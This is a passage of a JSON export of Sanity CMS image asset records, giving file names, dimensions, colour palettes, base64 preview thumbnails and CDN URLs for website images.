qTSBE+RB8lZ8HNc2FlgTYS3PAEZBMgISANwkvSrMRlPEjeJmT4BkJiCuYfSrBEGWEYsWOQN5RAqSfA387gl8BJEXyeOOCLgUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314a54","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042599","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0767f7","foreground":"#fff","population":5.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d6ce","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f93d48","foreground":"#fff","population":2.67,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6366a2","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0767f7","foreground":"#fff","population":5.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"men-holding-laptop-smiling.png","path":"images/sczeoy4w/production/75e62665661bf806afa29388e1db8ad0c803d449-800x789.png","sha1hash":"75e62665661bf806afa29388e1db8ad0c803d449","size":108234,"uploadId":"9LuEBKsT8IRjLO5KxyS0hiLc5Rr3F5Hs","url":"https://cdn.sanity.io/images/sczeoy4w/production/75e62665661bf806afa29388e1db8ad0c803d449-800x789.png"} {"_createdAt":"2022-09-26T19:47:41Z","_id":"image-5ebf5f95228a67ee49b3d1283ff4030cfd12f242-1200x630-jpg","_rev":"sI1gFaRN7B5HWmjllBZ0K9","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T19:47:41Z","assetId":"5ebf5f95228a67ee49b3d1283ff4030cfd12f242","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIQJ7h.mR8M{_3GcIUxst7kX-:Dhax-;IU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAEEBQYH/8QAIBAAAgICAgMBAQAAAAAAAAAAAQIDBAAFERIGIUFSkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABkRAAIDAQAAAAAAAAAAAAAAAAABAgMRIf/aAAwDAQACEQMRAD8A3ybWzvM7remVWPIUfMiPMtpe0upU1JRLZLAAdfn05YYxxaY+/wC4Wq0NheJ41kA/Q5wZXjqnBj43szsdRDYaZJHPpmUeucMShQq1InirQrHH3J6qTxzhkdveGpVxb1H/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43434d","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812903","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d09593","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09593","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#58acfc","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8855b2","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f95c17","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"japan_homepage_meta_preview.jpg","path":"images/sczeoy4w/production/5ebf5f95228a67ee49b3d1283ff4030cfd12f242-1200x630.jpg","sha1hash":"5ebf5f95228a67ee49b3d1283ff4030cfd12f242","size":42660,"uploadId":"8vK4OsRxwLBHKdj0mwb77bwrJIXoDAFt","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ebf5f95228a67ee49b3d1283ff4030cfd12f242-1200x630.jpg"} {"_createdAt":"2022-07-25T14:58:20Z","_id":"image-ac0d81db716629b39fbe1fda2759917ec62c123a-2500x1308-png","_rev":"hbqxVMLI4PW5pNF8g8Zqhv","_type":"sanity.imageAsset","_updatedAt":"2022-07-25T14:58:20Z","assetId":"ac0d81db716629b39fbe1fda2759917ec62c123a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPLqFWR.00?v9Y~qkrIB4.IUEyS#Shxuxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAADNUlEQVQokQEqA9X8ADmCvABSk8gFO4XCBr7W6wf+/v41+fD0hfTi6qn26vCb/Pr7Vf///xj8/f5A6vf8jtzy+qnq9vuT/P3+Sf/t4A3+tpoW/7qtI/+zsQ3/7KUAADh/twNPjsImUJDENIWx1Rv8/PxP9+jtu+/S3ury3+fZ+vb5ev///yT6/P1e3/L6ysrq9+7f8fnS+Pv8bO3d0xjioown6aidO9+enhg+UIcAADR5sARJh7oxS4m8Qn+qzyL6+vpZ9u3w0fDg5v/y5+3x+fb4if7+/in4+fpm5/L219rs8/zn8fbf9/n6dN3W1ButhoAguY+OL6yHjRZ1d4sCADxzowFOgKsTR3qnGZ+50RH6+fpS9fT1xPLx8/X09PXj+Pj4gvf3+CX29vdQ8vP1su7x89ny8/W5+Pj5Wd/Z1hClaFwSuG5sHrJqcQ+Fd40BAOZ0JQDdbUYE00csBfTDwAb6+voz9fL0gPPt8af18fSY+Pf4Ve/v8Rb09PUz9vb2kvX19cT29vaa9/f5OdW+rAnSbUsV3GVVIdpeXw+aXJ8AAM96QADVbE0K1GRTENp9dwfq3OoO3ZrEPd2CtWvkkb1U68PXHt3p5wr29fY08/T3k+7x9Mby8/ab+Pn6Oci8tgqodGgVsHBsHaxscg1+cZcAAJ15aQCjdW4MpXJzE6iCgAiaWpoGuD+SP8M/kYbMQpBgxkqLFOb27wz5+fpT5e30tNHf69vg6fC7+fr7WvLw8A5mYGsHiYONDH97hwV3fIwAAIyLlACCf4oFg32KCIqRkgORbpgGpkuSMbFGkWS3S5BKp1GGEe/28hD4+Ppq4Ory18ra6P3c5e7g9vj5c////xH///8AvcfRAXODkwCQensAAK6urgOqq6wFpqerBKapqgF7eIkDhWSKEoteiyGOZowba1NxB/T29Q319vdg6u3xx+Hn7ezo6/DQ9PX2av7+/Q/4+foA////AE+JnQCKf3cAAK+urwqvr68OsK+vC7CvrwSUl5sAd4OHA3eFiAaCj5MFAAAAAPz8/Af29vc/8/P0ifLy86Tz8/SP9vb3R/v7/An///8A7u7vAIKCjwB8fYoA1Q75g6crrgoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2f44","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#104c84","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2f44","foreground":"#fff","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a5b9","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#71e1f9","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a8eae","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#21aae0","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-event-data-driven-kafka-flink-opensearch-m3.png","path":"images/sczeoy4w/production/ac0d81db716629b39fbe1fda2759917ec62c123a-2500x1308.png","sha1hash":"ac0d81db716629b39fbe1fda2759917ec62c123a","size":88122,"uploadId":"rifq0ftKslyflee3e9yZ6tnGNJvJQWsE","url":"https://cdn.sanity.io/images/sczeoy4w/production/ac0d81db716629b39fbe1fda2759917ec62c123a-2500x1308.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275-png","_rev":"QRl2cGoCgj0FlAhkRrhf5r","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:56Z","assetId":"1eb22c3987ed9c604adc3f04f0873b0badaa2274","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9P@3200000000xY-:?a%Mt7aK?H-p-pof~pxaxat7s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":275,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQ4jZWSy2sTURTG5w8RwScoBREXFtTqoojgAxQEF12UunDhH+Cmptpa2tKKUGnzMKmlG2mt3VlQG6xdKYpFE9Ik1qQ0ySQzk0ky70kmOZ/cSSO2iqWLH+dy77nfOee7l/sajdHqWoK+/VhHLJWmTI6HJIooShIkSUKxKKEkyyiXSiiXy/+CZFmGUChQLpslbnwxTBNvP9DEuxXMrHykz2tJZLNZ8DnejemNTaQ2NpHPFyAXi674DojtiwWB+BxPXE9wFt3BWXQFXtC9uddYjsQhSBJY1YIgIZ7KYTWRQSYvQVVUaKoGTVW3oSoqKRXFnYK7MT5Nl5+E6OLYM9ydWaDlWBIVVYNhmG7cFEpYz8koVjRYluViM2wbhmlB1Q3SdB2GYZCh68RdfRxE54gf54e8uPN8Hu+jCVRUlSWAJTJRhqbp0PUm7Mw0TZRVHUJJQamiQNNYEzq4S2NBXBj248ygF7dDLxGOxFGuKO5FlsRorfUWrrABRdUhl1VUmBVMUNfBdY4GcXYogPZBH7pD81iKJKCoGkzW4R+Cra5aYzNMy2pO8ruIDq5jKIDTj7w41T+JrsAclqJJ6KbZ9IiJGEbTN9tGtVr9C9u23UIMls+1D/hwom8CbZ6nuOWbQzi2DqtaRb1eh+M422B7O3G2zmq1mivOnRzw41jfJI56JnHTP49wPI2aUweIQHug0Wi4olxbf4AO9/nokMeH64EFWoqnUd2bILmx0SDHcYg78sCP/b1e7Ov10hXvK7yJpWDXam5FNhKLu1Gv14nZpDIPjz8M0EGPjw7c9+Gad54WvyfZZ22+4pbZ/8OyLNIMA3xRpmQmR1zn6DR1jEzRueEp9IQWaPFLBHy+AFEUIQjCroiiSHw+j9jPFH2KxugXpfnnTjQJ7/kAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#446c85","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b798f","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a3becb","foreground":"#000","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3becb","foreground":"#000","population":1.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93c6f1","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6598a6","foreground":"#fff","population":1.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#357ab7","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275.png","path":"images/sczeoy4w/production/1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275.png","sha1hash":"1eb22c3987ed9c604adc3f04f0873b0badaa2274","size":12639,"uploadId":"0pbJw9Yn34e2UE3haWYltQjn9qvUpMXR","url":"https://cdn.sanity.io/images/sczeoy4w/production/1eb22c3987ed9c604adc3f04f0873b0badaa2274-400x275.png"} {"_createdAt":"2022-06-30T19:56:05Z","_id":"image-5bca8763f321ce3ca0521a7df63bbcc908cb1ff8-1200x742-png","_rev":"CK1sLU2mnwa3vmbYWEar9I","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:29Z","assetId":"5bca8763f321ce3ca0521a7df63bbcc908cb1ff8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXPGsv^N?KB:cW-=NdW9r=V@?cI@M_#ln6V@slbbX9oz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6172506738544474,"height":742,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACV0lEQVQokT2Sy0tUURzH52+o/oh2Bi3MWrUKqTAhqFYtXERBOyODWkQEvnuRlhGpIeoUpmMPE+caU2NjKvm4NjM6XnXG+z73nve5c6dNnHkEv9WBD5/v7/c9ERr8xTx0ITVdaDiebru18QzbO7CB7nim4+s2KJjy0XQhQAzzkIhSpAIDxGpDXUQBog6kBeBmrULa2tcc0/QRgNRD1MPMxwLRAPNiFfaJgERABJGTh5aGgO5AkMyv969Gu5cH32fmtlzD8NmORbYtXADUIwHmYYSIEmJFSANIKMr/JqnnWLlPV4bMg42x9MyVL61nJlvuLTxL5bNKxn2iaD1zudiauQ8YEWHEw1xqaYAQxOoHPnqW9R/lk1fNLWVYnT4Xu34ieqk10TWvbb5I7Df2LZ1+uvjg8/YfHUvY9jBAzCcBhD5eHeVvGnjvIT7WZKRnhtXY+diNhujl1kRXfEd9FNfqu3/WtSdvT2bWC0jGtoC8hJRX4MGTvPeIGL9gluGauTOek3BDT+pYR7JtSsKEh5GylkMaYOyTtTE+eKoCW5mvb9XpivnW9y5lZ/OxsluB70xlNw6wrIqIELGiL3f2STX2YTHeVDb/37lTxla0+u5UXXuyTcJlc6Wq6sE2YzR6kb46zmLXrO3ERGauZfZu8/TNh4svf+xlXyfzzQMrjX1LHbO5tEEIr32SalV6Gq6+81IDSP0ILG3NyE2k4yPqp/nd5Zxr/9K8kcX88MLet6yje7xqJqJERAmLkDCBMIQIIIIwE5AJlxCHYJ8yzIs+LTpI2Ih7tIi5RP4BRjhGxeRFF70AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c8454","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c943c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f38c13","foreground":"#000","population":8.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca49c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc5b","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#658eb0","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38c13","foreground":"#000","population":8.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5bca8763f321ce3ca0521a7df63bbcc908cb1ff8-1200x742.png","path":"images/sczeoy4w/production/5bca8763f321ce3ca0521a7df63bbcc908cb1ff8-1200x742.png","sha1hash":"5bca8763f321ce3ca0521a7df63bbcc908cb1ff8","size":14932,"uploadId":"rLUHnZnL6yjFBtXqyjjS3y3Gb0DF7WQv","url":"https://cdn.sanity.io/images/sczeoy4w/production/5bca8763f321ce3ca0521a7df63bbcc908cb1ff8-1200x742.png"} {"_createdAt":"2022-06-30T19:57:36Z","_id":"image-f098f2d9be5502a41756e32c173f25db95cbe963-400x300-png","_rev":"QRl2cGoCgj0FlAhkRrhgu1","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:23Z","assetId":"f098f2d9be5502a41756e32c173f25db95cbe963","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGK1]%01NL-;00?w_MR:MxjE009G^%-:Iq01My%1oxRk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":300,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAESUlEQVQ4jXWSa2xTdRjG/x0muEzJJFNnyAywxUy8EWNCogEWDV5i8IOIkUDQhOBlQwyGOALIEnGiJoCJiSILbjqurmxAxy60u7Rrey7tufVce85pz9pzuu7W08tYO3Cnf1MUvqhP8uRJ3g+//D68YFnlQ4+tqntiZf3Tz9U++cza2jXPPr+6rn7N6uVVD68sKyurttlsDwJb2X1P1deVv/vWq7X7Ptr+4qHPdjUc+Xz3xtYDTRuOHdyz4evmxobmpg/WvblpfS049M0P9Rf6fVt6RsjGnhGisbR2F767o9u5af+RYytqamrKAQBLvmpufGDAfuY1v7P7ODLsOEuM9XcK+FCnFBztlIIjnTw6eLT/0ukGcKHP+7Kb1TvH+AnOwxmCm9VLpUeY2K99iNCw88OmCgBA2cW27yopxLWLoXCSoII5JkRnJZHLcXwox/OhrCLSI7S37z1gdwU2e4UJj19KWj4hBr28VvQKMegTDRkR9AMhQVqn6/oLsUh4o8gSh3mRVUMCA1mJh5ysQEZgISuGoCRxOOV37gB2F77ZJybdqJxYRCQR+gW6WFoqmszEpnLDczfzZxcWbnXP5bJdiZhyLarQEU0NzkdVJq+q/HxEofKaSs5rCu0mfQPb7gExRbcQkYY+3l9ERawoxonFVJa4WSgQcwsL5EI+781NTbpisuyJSiISD8uYrkaIeDRK6JpGxFU14PB7HW/fBXowRV9EJaroF/wWLg1ZqnGmmDJbYCp1AKZSX8Bsdq9lTB6dCwp9s14an0F5YpZUmBlCZmcJmZ0hFfqGExnYCv64gb7hE5NDJUM0HIJ+EYOB8BiMJrphOnMKmuaP0DRPWunMkZSWOK4FRHcGYWgLE/liQJYtTOCKuMBaeJhHB7Hh7aC927l2jDdOorIhI2Fp2i+GprAwPxU2Isl0TtcLhQmjUNAlM011cRH3OSZMarxMWmyEt+hI2GJl2uJkapFSOGQQHd4OPt53cPkgLr00xsf3eoVoi5dXWnyC1kKqk4diyWxzOjP/5dzcwqfj8YnXUQbZG5IxTIpgs6JGzIjj9Iw8Tswo48FpPkoMDqH9WwEAYOmuPfsrfj53taqjx1X925Wh6o4eZ3W73fHoOfvFR5yu3hWBgKfKce2XKjxwfWeI93g40WfIKqInE7huTuFGehrXpycQB01c3QKW3l++pPS4AAAb+HdKNxuEENjPn1gWJEZ3E6FgKMAQBSFM5c1JMr+YCeSL2cD8rRTqiXCObeDxVXVgf8u34KfOblv75YF77bjcb+u61m8zTf0O8Ir9VCXJoJ+wEqOwIgWVCAvT0wy0skEIc0F428RwTejd8R9S/6jZ/hYuwUo9//uJZTQ9+r6qBMbGo3hCj5FGZoowbptY4s80ZuSnfb0S1fPO/wLvBsKbd4Dft+6r8I9eekXmXK1aeLQtprjbJrXRtlRsuM2MD5+eUAYPu66fWv8XuIQQALAnm/IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3464","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a69f09","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eff10e","foreground":"#000","population":1.72,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2c6d2","foreground":"#000","population":0.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3e47a","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c648c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eff10e","foreground":"#000","population":1.72,"title":"#000"}}},"mimeType":"image/png","originalFilename":"f098f2d9be5502a41756e32c173f25db95cbe963-400x300.png","path":"images/sczeoy4w/production/f098f2d9be5502a41756e32c173f25db95cbe963-400x300.png","sha1hash":"f098f2d9be5502a41756e32c173f25db95cbe963","size":15546,"uploadId":"QHVgpq71rCZmjz7oFI7VJ4oh7BWbu3oB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f098f2d9be5502a41756e32c173f25db95cbe963-400x300.png"} {"_createdAt":"2022-06-30T19:57:47Z","_id":"image-01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398-png","_rev":"lf1jOsEAA7PAFZMZhZoYwi","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:47Z","assetId":"01621e55b2d2a5266e2c8ddf3b949e71a8dc8264","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V4O43j00000e00t7NGIotRM{00s:~q%2?bx]RjRjRjNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6080402010050252,"height":398,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACRElEQVQokXXR30tTYRgH8PMvSBFIUlSQgdEPuuhCFCeZurm1VAp0mAQVgkEIGunW1tb0nLOaqyDsokxqZnVjxRbVhhHzH+gq6Eac4bbzC7ad9/e74mwoSfThuXhvvs/D+zxCk6O3setc88Dwo5dLv/IFhDHCmGzhnP+uqlQqnPOCor19l7jpDdyanJoRRaGxy32ww3n6wtDDF6+ym7lSFQAAVhFCGGN8i6rp7xMfff7g5JRXlCTh0FnX/nbHqX5PbGExu5kzTROYAAOITGAVhBhhSinjVgtd1z4lkkGvb2p8XAxPCwc6XA02+8k+z+zC4kYujxCmmFAASbGMSyYBkBLCt4Ybqvp5eTk4NjY5OjpzJyjsO+Paa3Oc6PNErXABY8IIZRAxEzCEOWUVziucM8YopbqmfUkmwz6fb2JCCk8LDe3O+jb7sV7P/efxjVze+iSlDGEKofWoooSiKl3T0qmUJIqBQCAiR4R6W8+e1u4m90BkPp7N5WuLxgCapRIwTVBjgnK5DADQNC2dTkuSZIUjEWF3W09dS/cR96A8H1/fzNfuBCEsFYu1wDZrsq7vCO+yOetaHY3nPdL84nrOClNKCSEIodqdtlFKDcPYET7qGjhsv3i8/5L4LJ7NFyil21et/IVXd2YYRiqVEkXR7/fLsiy4L1/vHBppHrx6+/HT7z9+Koqiqqr2D1VVFUVZW1tLJJKyLIdCoWg0KjivjXVeudEyPDpy996bD8lvmUwms/q/Wln5urT0OhZ7EI3Ozs09+QOq+htp+Ex22QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4c52","foreground":"#fff","population":1.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c48","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":12.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bac5c9","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e09aa6","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":12.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc6060","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398.png","path":"images/sczeoy4w/production/01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398.png","sha1hash":"01621e55b2d2a5266e2c8ddf3b949e71a8dc8264","size":18183,"uploadId":"w43Y1j02cdWZxsdmkSeGUjtZIfgJo1zw","url":"https://cdn.sanity.io/images/sczeoy4w/production/01621e55b2d2a5266e2c8ddf3b949e71a8dc8264-640x398.png"} {"_createdAt":"2022-06-30T20:00:46Z","_id":"image-ada08c1b0b56ed91a7fd947d60bb95bec17b2c79-632x477-png","_rev":"LKSVNTHAdZDLniZ7u2Cry6","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:16Z","assetId":"ada08c1b0b56ed91a7fd947d60bb95bec17b2c79","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V47d]{Vf%4?@^,aRtQovRRt7-XtPScICtj?[R7IC%ejI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3249475890985325,"height":477,"width":632},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACLUlEQVQokW3QW2/aMBgGYP5K8TlxDsbBiZ1z0tACZUtDGbDRoU3aKu1iF5X2A3a7Xz2FtKPVKn1X9vvotb9R190lSa6UDkOjlI7jbLlcbbf77e7jfn9/OBx3+0+bD7t1t6nrZsgopaMoqarLUV03risIsQixMGaU2hM5NSY1Jk2SPMvKOMmiKFZKu64/ZIaYEHJUFJXvS0ptAPDFBRyPEYQEIYoQHXIYM4QohAQAPB6jYQDAnLujsqyFCBjjEJLh9HnOuScGzrcIEcfxRkVR+758gRGEGMIn3L8C97UQEkwpwuR09YyHZstyBvyyCgBEGLO4DREhjPmhz8UpBtA/XAlxbn6FIeYeF8pntu0GXr6Ip0mAMBmPXzX/h2GPISIyEkmjAyPzRbz+vqxWKbUs0GP6Bgag/zDsMUaYmiq83lT5PG6/XD/83r8/XnHPOeOXCwOnffbrQQSMMWFWeZPefp0vdpf3j93PP8f1t4Uj3NPCnnDleZM3my2XX92V2x+rzcPN4bH7/Gs939V982ssGOMI9c2DHMafek2brw7Nu/tZ0xXZtdGlsh0O4TPOsoJzl1HLopRRbDPi2JTbzOFMaS8uZJwHcR7IwPU8ayK579u2xRhlPa6qxvMmruNOhCsFj6Z+mekqNyaSOvKNFnkSVkVsQhkIRwVuEk/zVIdqKmUwatt1HGdKaR31UxRF27bdbVeVtdY6S9Ob5bLrulkzM1obbWZN07btfL6s6+Yv1ruwtfr5gcEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33492c","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64642c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#96af84","foreground":"#000","population":0.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#96af84","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfbd7d","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649458","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b29041","foreground":"#fff","population":0.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ada08c1b0b56ed91a7fd947d60bb95bec17b2c79-632x477.png","path":"images/sczeoy4w/production/ada08c1b0b56ed91a7fd947d60bb95bec17b2c79-632x477.png","sha1hash":"ada08c1b0b56ed91a7fd947d60bb95bec17b2c79","size":68159,"uploadId":"bFtHU0SvO0iJgA4lq9GP3BomBRQBgzGg","url":"https://cdn.sanity.io/images/sczeoy4w/production/ada08c1b0b56ed91a7fd947d60bb95bec17b2c79-632x477.png"} {"_createdAt":"2022-06-30T20:09:32Z","_id":"image-d7bf6089fba22571ae2d5e8afa07609c9f10add7-930x684-png","_rev":"ecafYeJdFUSoqAVEkXNr2g","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:03:16Z","assetId":"d7bf6089fba22571ae2d5e8afa07609c9f10add7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V284PkAi4==Q0J}wZ}X8XTR$00sr%MI-%300p1xGiu%4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3596491228070176,"height":684,"width":930},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC0klEQVQokU1T2W7TQBT1L8RzZ/F4m7ET26nTkjab0zQ2SZrUWUoSWihpS8pWliAEiO0B1BcknhC8we8ipwghXR0d3XPnPpwzV1ERUgEyzAr+FQKgjDFNQ5j87aBrCf1DBROKSSbnEMplCDkV5dRMA0yAUAQUEMXACHAKnIBGEMPAAIiicW6aFtM4JpQyjVJGqKZxnTBGmWYYpq5ZnNi24Xlu+UYQ1UtxdWNvy69L21csy2zslNuNalTZ7jRqSa0aN6ODbhI3akmjcquX7DeTqJwM4umdyZNHx29fn12tFlfTwcNSsaYI2zq4ufv43vTJYr46O1otbr9Ynrx9ev7i/vHL8/mny8WbB5c